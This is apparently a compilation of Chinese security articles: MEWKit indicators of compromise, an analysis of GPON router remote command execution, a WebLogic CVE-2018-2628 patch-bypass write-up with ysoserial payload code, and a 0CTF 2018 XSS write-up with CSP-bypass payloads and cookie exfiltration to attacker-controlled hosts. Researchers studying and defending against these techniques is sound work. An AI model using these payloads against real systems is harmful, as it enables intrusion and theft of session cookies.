正如我们在MEWKit的技术分析中所解释的那样,我们无法估计攻击者的收益,因为我们无法知道攻击者控制了多少钱包和地址,这是由于MyEtherWallet的设置方式是以每个受害者为基础发放的地址的。区块链的架构,特别是以太坊允许每个人通过公簿洞察钱包地址余额,但它也维护了所有者的完全匿名性。直到攻击者被抓获或执法部门提供MEWKit攻击中使用的精确地址的见解前,我们永远不会知道其确切的运作。
我们确实知道,各种钱包已经在社交媒体和论坛上发布,表面上收入可能达数百万美元,但我们无法高度自信地将其与MEWKit联系起来。 然而,随着注册域名数量的增加,服务器维护的增多以及活动水平的提高,我们可以推测这次攻击的收入必须足够丰厚,不仅能够维持运营,而且还能盈利。
妥协指标
以下部分包括我们观察到的所有直接属于MEWKit的IOC(控制反转)以及IOC的行为,这些IOC同样可以用于自动化的PassiveTotal项目:https://community.riskiq.com/projects/27cddf0e-a912-1ca7-5a9e-6182d3674045
以下IP地址被检测到正在执行MEWKit实例,并且与列表下方列举在表格中的一个或多个域名相关联。
123456789185.145.131.134185.207.205.16185.207.205.25185.61.137.36198.50.209.8331.31.196.18637.1.203.20946.161.42.425.45.69.74以下是包含注册日期及用于注册的电子邮件地址的详细域名列表。如果电子邮件地址丢失,这意味着该字段默认由隐私服务或注册商填写。由MEWKit建立和用于活动的域名的注册日期紧密重合。
高端渗透测试服务,请访问http://www.scanv.com
招贤纳士:tiancy@knownsec.com本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/608/
-
GPON Home Gateway 远程命令执行漏洞分析
作者:dawu@知道创宇404实验室
日期:2018/05/040x00 前言
2018/04/30,
vpnMentor
公布了GPON
路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。将这两个漏洞结合,只需要发送一个请求,就可以在GPON路由器
上执行任意命令。本文在复现该漏洞的基础上,分析了相关漏洞形成的原因。0x01 漏洞文件定位
在有回显的远程命令执行漏洞中,使用
ps
命令往往能够很好地定位到漏洞点。可以很明显地看到,进程14650执行了我们的命令,找到上一个进程
14649 root /bin/WebMgr -p 20 -s 0
。因为pid
是递增的,所以很可能是/bin/WebMgr
这个文件存在漏洞。0x02 漏洞分析
在获取到某设备的
/bin/WebMgr
和/lib/
文件后,我们开始分析。2.1 分析前
分析前研究了这个漏洞的利用,发现了该web服务器是
GoAhead-webs
根据
Server
字段判断,该web服务器的版本 <=GoAhead 2.5.0
(GoAhead 3.x
版本的Server
默认为GoAhead-http
)在尝试
https://www.seebug.org/search/?keywords=goahead&page=2
已有的GoAhead 2.x
系列的漏洞无果,推测该web服务器可能基于GoAhead2.5.0
版本进行了二次开发。2.2 验证绕过漏洞
用
ida
打开WebMgr
后发现函数流程并不完整,所以使用了简单粗暴的方式,直接搜索images/
,定位到函数webLoginCheck
但是该函数在
WebMgr
中并没有被调用,故这里我们结合漏洞作出合理猜测:当该函数 return 0时表示不需要验证
结合函数逻辑,我们可以知道:当
url
中含有style/
,script/
时也可以绕过验证。2.3 命令执行漏洞
由于之前读过
GoAhead 2.1.8
的源码,所以知道WebMgr
中定义cgi
的逻辑为:先通过 websFormDefine 定义不同的cgi接口要调用的函数,然后再通过 websUrlHandlerDefine 加载 websFormHandler
举个例子:
12websFormDefine((int)"FLoidForm", (int)sub_1C918);websUrlHandlerDefine("/GponForm", 0, 0, &websFormHandler, 0);这意味着当
url
中的path
以/GponForm
开头时,会使用websFormHandler
去处理,然后websFormHandler
会寻找通过websFormDefine()
定义的各种路径,然后调用对应的函数。 在这里,就是访问/GponForm/FloidForm
时会调用sub_1C918
完成相关操作。在
exp
中,通过对/GponForm/diag_Form
发送请求最终实现了命令执行。根据上文,可以找到/GponForm/diag_Form
调用了函数sub_1A390
,结合system()
的调用流程,我们可以知道sub_1A390
调用了sub_1A684
,最终通过system()
执行命令。在
sub_1A684
中, 主要还是判断传入的dest_host
是否合法。如果不合法或者无法解析,将会进行如下处理:0x03 影响范围
根据
ZoomEye网络空间搜索引擎
的探测结果,一共有2141183
台路由器可能受该漏洞影响。0x04 结语
在分析漏洞后,我们尝试寻找该类路由器所属的厂商。在
/web/images/
下,我们找到了多个国内外厂商的logo
,但是未有其它证据证明这些路由器属于这些厂商。在查阅其它资料后,我们更倾向于这些路由器是
OEM
或者ODM
出来的产品。因为很难找到生产厂商,所以修复工作将会更加困难。由于该漏洞影响范围广,利用简单,危害巨大,各大僵尸网络家族很可能会将该漏洞列入其利用库,需要警惕。0x05 参考链接
vpnMentor
公布的GPON
路由器的漏洞
https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/Seebug漏洞平台
收录该漏洞
https://www.seebug.org/vuldb/ssvid-97258ZoomEye网络空间搜索引擎
搜索结果
https://www.zoomeye.org/searchResult?q=%22GPON%20Home%20Gateway%22
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/593/
-
Weblogic 反序列化漏洞(CVE-2018-2628)漫谈
作者:Badcode@知道创宇404实验室
漏洞简介
2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。
漏洞影响
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
Weblogic 反序列化漏洞历程
这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。
CVE-2015-4852
2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。
但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。
CVE-2016-0638
Weblogic的反序列化的点有着三个,黑名单
ClassFilter.class
也作用于这三个位置。weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
有人发现利用
weblogic.jms.common.StreamMessageImpl
的readExternal()
也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。CVE-2016-3510
原理是将反序列化的对象封装进了
weblogic.corba.utils.MarshalledObject
,然后再对MarshalledObject
进行序列化,生成 payload 字节码。反序列化时MarshalledObject
不在 WebLogic 黑名单里,可正常反序列化,在反序列化时MarshalledObject
对象调用readObject
时对MarshalledObject
封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。CVE-2017-3248
Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的
JRMPLister
,这将会序列化一个RemoteObjectInvocationHandler
,该RemoteObjectInvocationHandler
使用UnicastRef
建立到远端的 TCP 连接获取RMI registry
。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。CVE-2018-2628 漏洞分析
首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在
weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class
多了一个resolveProxyClass
,这个resolveProxyClass
只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry
,是的话抛出错误。
这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator
来替代java.rmi.registry.Registry
生成payload,即可绕过这个判断限制。仿照
JRMPClient
写一个JRMPClient2
,重新编译。12345678910111213141516171819202122232425262728293031public class JRMPClient2 extends PayloadRunner implements ObjectPayload {public Activator getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {Activator.class}, obj);return proxy;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());PayloadRunner.run(JRMPClient2.class, args);}}生成 payload:
1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2可以对比以下
JRMPClient
和JRMPClient2
生成的 payload。除了 RMI 接口不一样,其他都是一样的。
JRMPLister
开启1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"我测试的 Weblogic 版本是
10.3.6.0.170117
,即已修复了CVE-2017-3248漏洞,在我本地的环境中,CommonsCollections
这个 payload 已经失效了。Weblogic 的commons-collections.jar
版本已经升级,所以我这里 payload 用的是Jdk7u21
(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar
版本没有升级的 Weblogic 中,使用CommonsCollections
这个 payload 是可以的。使用 t3 协议脚本发送 p_client2,可以看到
JRMPLister
有请求过来了,客户端命令也执行成功了。作为对比,将
JRMPClient
生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization
,正是黑名单拦截抛出的错误。可见
java.rmi.activation.Activator
是绕过了CVE-2017-3248的补丁了。另外一种绕过补丁的方式
这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。
StreamMessageImpl
这个点在反序列化的时候没有resolveProxyClass
检查。所以可以使用StreamMessageImpl
将RemoteObjectInvocationHandler
序列化,以此来绕过resolveProxyClass
函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。将
JRMPClient
生成的 payloadObject 用StreamMessageImpl
封装生成新的 payload——p_stream。12345public static Object streamMessageImpl(byte[] object) throws Exception {StreamMessageImpl streamMessage = new StreamMessageImpl();streamMessage.setDataBuffer(object, object.length);return streamMessage;}使用脚本发送,可以看到,成功执行了命令。
CVE-2018-2628补丁分析
初步比对补丁(p27395085_1036_Generic),发现
WeblogicFilterConfig.class
的黑名单多了一个sun.rmi.server.UnicastRef
。1private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。
总结
总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个!
参考链接
-
TCTF/0CTF2018 XSS Writeup
作者:LoRexxar’@知道创宇404实验室
刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。
其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过
strict-dynamic
CSP的利用方式。h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。
h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。
其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西…
bl0g
题目分析
123An extremely secure blogJust focus on the static files. plz do not use any scanner, or your IP will be blocked.很有趣的题目,整个题的难点在于利用上
站内的功能都是比较常见的xss功能
- new 新生成文章
- article/xx 查看文章/评论
- submit 提交url (start with http://202.120.7.197:8090/)
- flag admin可以查看到正确的flag
还有一些隐藏的条件
1、CSP
12345Content-Security-Policy:script-src 'self' 'unsafe-inline'Content-Security-Policy:default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'挺有趣的写法,经过我的测试,两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了
<script src="hacker.website">
,就会被第一条CSP拦截,很有趣的技巧。从CSP我们也可以简单窥得一些利用思路,
base-uri 'none'
代表我们没办法通过修改根域来实现攻击,default-src 'none'
这其中包含了frame-src
,这代表攻击方式一定在站内实现,script-src
的双限制代表我们只能通过<script>{eval_code}
的方式来实现攻击,让我们接着往下看。2、new中有一个字段是effect,是设置特效的
12345678910111213141516POST /new HTTP/1.1Host: 202.120.7.197:8090Connection: keep-aliveContent-Length: 35Cache-Control: max-age=0Origin: http://202.120.7.197:8090Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://202.120.7.197:8090/newAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6htitle=a&content=a&effect=nesteffect字段会插入到页面中的
<input type="hidden" id="effect" value="{effect_value}">
,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转
4、站内的特效是通过jqery的append引入的,在article.js这个文件中。
123$(document).ready(function(){$("body").append((effects[$("#effect").val()]));});effects在config.js中被定义。
回顾上面的几个条件,我们可以简单的整理思路。
在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过
首先我们观察xss点周围的html结构
在整站不开启任何缓存的情况下,通过插入标签的方式,唯一存在一种绕过方式就是插入
<script a="
这种插入方式,如果插入点在一个原页面的script标签前的话,有几率吃掉下一个script标签的nonce属性,举个例子:
1234567<script a="...浏览器有一定的容错能力,他会补足不完整的标签=====><script a="...但这个操作在这里并不适用,因为中间过多无用标签,再加上即使吞了也不能有什么办法控制后面的内容,所以这里只有一种绕过方式就是dom xss。
稍微翻翻可以发现,唯一的机会就在这里
123$(document).ready(function(){$("body").append((effects[$("#effect").val()]));});如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
也就是说,我们可以通过
effects
获取到<form name=effects>
这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。可如果我们尝试插入这个标签后,我们发现插入的effects在接下来的config.js中被覆盖了。
这时候我们回到刚才提到的特性,浏览器有一定的容错能力,我们可以通过插入
<script>
,那么这个标签会自动闭合后面config.js的</script>
,那么中间的代码就会被视为js代码,被CSP拦截。我们成功的覆盖了effects变量,紧接着我们需要覆盖
effects[$("#effect").val()]
,这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),所以我们尝试传入
1effect=id"><form name=effects id="alert(1)">成功执行
接下来的问题就在于怎么构造获取flag了,这里最大的问题在于怎么解决位数不够的问题,我们可以简单计算一下。
上面的payload最简化可以是
1id"><form name=effects id="">一共有45位,我们可以操作的位数只有25位。在有限的位数下我们需要获取flag页面的内容,并返回回来,我一时间没想到什么好办法。
下面写一种来自@超威蓝猫的解法,非常有趣的思路,payload大概是这样的
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
1id"><form name=effects id="$.get('/flag',e=>name=e)">通过jquery get获取flag内容,通过箭头函数将返回赋值给
window.name
,紧接着,我们需要想办法获取这里的window.name。这里用到一个特殊的跨域操作
http://www.cnblogs.com/zichi/p/4620656.html
这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。
利用思路
完整payload
12345678910111213141516var i=document.createElement("iframe");i.src="http://202.120.7.197:8090/article/3503";i.id="a";var state = 0;document.body.appendChild(i);i.onload = function (){if(state === 1) {var c = i.contentWindow.name;location.href="http://xx?c="+c;} else if(state === 0) {state = 1;i.contentWindow.location = './index.html';}}然后通过
login?next=
这里来跳转到这里,成功理顺最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的
这个思路受限于当前页面CSP没有
unsafe-eval
,刚才说到window.name
不随域变化而变化,那么我们传入payload1id"><form name=effects id="eval(name)">然后在自己的服务器上设置
12window.name="alert(1)";location.href="{article_url}";这样我们就能设置window.name了,如果允许eval的话,就可以通过这种方式绕过长度限制。
h4xors.club2
一个非常有意思的题目,做这题的时候有一点儿钻牛角尖了,后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。
http://www.wupco.cn/?p=4408&from=timeline
在分享一个写的比较详细的正解
https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed
下面顺着思路一起来看看这题。
题目分析
12345Get document .cookie of the administartor.h4x0rs.clubbackend_www got backup at /var/www/html.tar.gz 这个从头到尾都没找到Hint: Get open-redirect first, lead admin to the w0rld!站内差不多是一个答题站点,用了比较多的第三方库,站内的功能比较有限。
- profile.php可以修改自己个人信息
- user.php/{id}可以访问自己的个人信息
- report.php没什么可说的,向后台发送请求,需要注意的是,直接发送user.php,不能控制
- index.php接受msg参数
还有一些特别的点
1、user.php页面的CSP为
1Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3ac7833372f4a91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;非常严格,只允许nonce CSP的script解析
index.php页面的CSP为
1Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方,为了适应CSP,必须加入
strict-dynamic
。)2、站内有两个xss点
第一个是user.php的profile,储存型xss,没有任何过滤。
第二个是index.php的msg参数,反射性xss,没有任何过滤,但是受限于xss auditor
顺着思路向下
因为user.php页面的CSP非常严格,我们需要跳出这个严格的地方,于是可以通过插入meta标签,跳转到index.php,在这里进一步操作
1当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。
在user.php的查看profile页面,我们可以看到
123if(location.hash.slice(1) == 'report'){document.getElementById('report-btn').click();}当我们插入
1<a href='//xxx.xx/evil.html' id="report-btn">并请求
1/game/user.php/ddog%23report那么这里的a标签就会被点击,同样可以实现跳转。
接着我们探究index.php,这里我们的目标就是怎么能够绕过sd CSP了,当时的第一个想法是
<base>
,通过修改当前页面的根域,我们可以加载其他域的js(听起来很棒!可惜如果我们请求
1https://h4x0rs.club/game/?msg=会被xss auditor拦截,最后面没办法加
/">
,一个非常有趣的情况出现了1https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16最后的
</h1>
中的/
被转换成了路径,前面的左尖括号被拼入了域名中,后面的右尖括号闭合标签…一波神奇的操作…不过这里因为没法处理尖括号域名的事情,所以置于后话不谈。
我们继续讨论绕过sd CSP的思路,这种CSP已知只有一种办法,就是通过现在已有的js代码构造xss,这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧,叫做Script Gadgets。
这里的漏洞点和ppt中的思路不完全一致,但核心思路一样,都是要利用已有js代码中的一些点来构造利用。
站内关于游戏的代码在app.js中的最下面,加载了client.js
123456function load_clientjs(){var s = document.createElement('script');document.body.appendChild(s);s.defer = true;s.src = '/game/javascripts/client.js';}client.js中的代码不多,有一些值得注意的点,就是客户端是通过
postMessage
和服务端交互的。而且所有的交互都没有对来源的校验,也就是可以接受任何域的请求。
ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法,通过postMessage来伪造请求
这样我们可以使用iframe标签来向beckend页面发送请求,通过这种方式来控制返回的消息。
这里我盗用了一张别的wp中的图,来更好的描述这种手法
原图来自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club
这里我们的exploit.html充当了中间人的决赛,代替客户端向服务端发送请求,来获取想要的返回
这里我们可以关注一下client.js中的recvmsg
如果我们能控制data.title,通过这里的dom xss,我们可以成功的绕过index.php下的sd CSP限制。
值得注意的是,如果我们试图通过index.php页面的反射性xss来引入iframe标签的话,如果iframe标签中的链接是外域,会被xss auditor拦截。
所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。
利用思路
1、首先我们需要注册两个账号,这里使用ddog123和ddog321两个账号。
2、在ddog321账号中设置profile公开,并设置内容为
13、在evil_website.com(这里有个很关键的tips,这里只能使用https站,否则会爆引入混合数据,阻止访问)的index.html向backend发送请求,这里的js需要设置ping和badges,在badges中设置title来引入js
12345678910111213141516171819202122window.addEventListener("message", receiveMessage, false);var TOKEN,nonce;function receiveMessage(event){console.log("msg");data = event.data;if(data.cmd =='ping'){TOKEN = data.TOKEN;nonce = data.nonce;game.postMessage(data,"*");}if(data.cmd =='badges'){console.log('badges');console.log(data);TOKEN = data.TOKEN;data.level = 1;data.title = '\'">';console.log(data.title);// data.title = '\'">';game.postMessage(data,"*");}}4、在ddog123账户中设置profile为
1<meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E">5、最后在1.js中加入利用代码,发送report给后台等待返回即可。
h4x0rs.space
TCTF/0CTF中的压轴题目,整个题目的利用思路都是近几年才被人们提出来的,这次比赛我也是第一次遇到环境,其中关于Appcache以及Service Worker的利用方式非常有趣,能在特殊环境下起到意想不到的作用。
下面的Writeup主要来自于
https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803
题目分析
1234567891011121314I've made a blog platform let you write your secret.Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?Get document. cookie of the admin.h4x0rs.spaceHint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GLHint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.Last Hint: CACHE先简单说一下整个题目逻辑
1、站内是一个生成文章的网站,可以输入title,content,然后可以上传图片,值得注意的是,这里的所有输入都会被转义,生成的文章内容不存在xss点。
2、站内开启CSP,而且是比较严格的nonce CSP
12Content-Security-Policy:default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src *; connect-src https://h4x0rs.space/blog/report.php;3、文章内引入了类似短标签的方式可以插入部分标签,例如
[img]test[/img]
。值得注意的是这里有一个特例
12345678910111213141516171819case 'instagram':var dummy = document.createElement('div');dummy.innerHTML = ``; // dummy object since f.frameborder=0 doesn't work.var f = dummy.firstElementChild;var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';if(e['name'] == 'youtube'){f.width = 500;f.height = 330;f.src = base+'?embed='+found[1]+'&p=youtube';} else if(e['name'] == 'instagram') {f.width = 350;f.height = 420;f.src = base+'?embed='+found[1]+'&p=instagram';}var d_iframe = document.createElement('div');d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it.iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html */ );o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );break;如果插入
[ig]123[/ig]
就会被转为引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram
的iframe。值得注意的是,embed.php中的embed这里存在反射性xss点,只要闭合注释就可以插入标签,遗憾的是这里仍然会被CSP限制。
1https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=-->alert()&p=instagram4、站内有一个jsonp的接口,但不能传尖括号,后面的文章内容什么的也没办法逃逸双引号。
1https://h4x0rs.space/blog/pad.php?callback=render&id=c3c08256fa7df63ec4e9a81efa9c3db95e51147dd14733abc4145011cdf2bf9d5、图片上传的接口可以上传SVG,图片在站内同源,并且不受到CSP的限制,我们可以在SVG中执行js代码,来绕过CSP,而重点就是,我们只能提交blog id,我们需要找到一个办法来让它执行。
AppCache 的利用
在提示中,我们很明显可以看到
cache
这个提示,这里的提示其实是说,利用appcache来加载svg的方式。在这之前,我们可能需要了解一下什么是Appcache。具体可以看这篇文章。
https://www.html5rocks.com/en/tutorials/appcache/beginner/
这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问,在缓存情况下,即使用户在离线状态刷新页面也同样不会影响访问。
Appcache的开启方法是在html标签下添加manifest属性
123<html manifest="example.appcache">...</html>这里的
example.appcache
可以是相对路径也可以是绝对路径,清单文件的结构大致如下:123456789101112131415161718192021222324CACHE MANIFEST# 2010-06-18:v2# Explicitly cached 'master entries'.CACHE:/favicon.icoindex.htmlstylesheet.cssimages/logo.pngscripts/main.js# Resources that require the user to be online.NETWORK:login.php/myapihttp://api.twitter.com# static.html will be served if main.py is inaccessible# offline.jpg will be served in place of all images in images/large/# offline.html will be served in place of all other .html filesFALLBACK:/main.py /static.htmlimages/large/ images/offline.jpg*.html /offline.htmlCACHE:
这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。NETWORK:
此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态,对这些资源的所有请求都会绕过缓存。可使用通配符。FALLBACK:
此部分是可选的,用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源,第二个代表后备网页。两个 URI 必须相关,并且必须与清单文件同源。可使用通配符。这里有一点儿很重要,关于Appcache,您必须修改清单文件本身才能让浏览器刷新缓存文件。
去年@filedescriptor公开了一个利用Appache来攻击沙箱域的方法。
这里正是使用了Appcache的FALLBACK文件,我们可以通过上传恶意的svg文件,形似
1fetch(`https://my-domain/?${document.cookie}`)然后将manifest设置为相对目录的svg文件路径,形似
123<!-- DEBUGembed_id: -->-->在这种情况下,如果我们能触发页面500,那么页面就会跳转至FALLBACK指定页面,我们成功引入了一个任意文件跳转。
紧接着,我们需要通过引入
[ig]a#[/ig]
,通过拼接url的方式,这里的#
会使后面的&instagram
无效,使页面返回500错误,缓存就会将其引向FALLBACK设置页面。这里的payload形似
123456789101112[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt]这里之所以会引入多个
a#
是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间,所以需要引入多个,保证FALLBACK的生效。最后发送文章id到后台,浏览器访问文章则会触发下面的流程。
上面的文章会转化为
1234<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe><iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>上面的iframe标签会引入我们提前上传好的manfiest文件
1234CACHE MANIFESTFALLBACK:/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg并将FALLBACK设置为
/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
然后下面的iframe标签会访问
/blog/untrusted_files/embed/embed.php?embed=a
并处罚500错误,跳转为提前设置好的svg页面,成功逃逸CSP。当我们第一次读取到document.cookie时,返回为
1OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)大致意思是说,bot会在5秒后访问flag页面,我们需要获取这个id。
Service Worker的利用
仔细回顾站内的功能,根据出题人的意思,这里会跳转到形似
https://h4x0rs.space/blog/[blog_post_id]
的url,通过Appcache我们只能控制/blog/untrusted_files/
这个目录下的缓存,这里我们需要控制到另一个选项卡的状态。在不具有窗口引用办法的情况下,这里只有使用Service Worker来做持久化利用。
关于Service Worker忽然发现以前很多人提到过,但好像一直都没有被重视过。这种一种用来替代Appcache的离线缓存机制,他是基于Web Worker的事件驱动的,他的执行机制都是通过新启动线程解决,比起Appcache来说,它可以针对同域下的整站生效,而且持续保存至浏览器重启都可以重用。
下面是两篇关于service worker的文档:
https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn
https://www.w3.org/TR/service-workers/
使用Service Worker有两个条件:
1、Service Worker只生效于
https://
或者http://localhost/
下
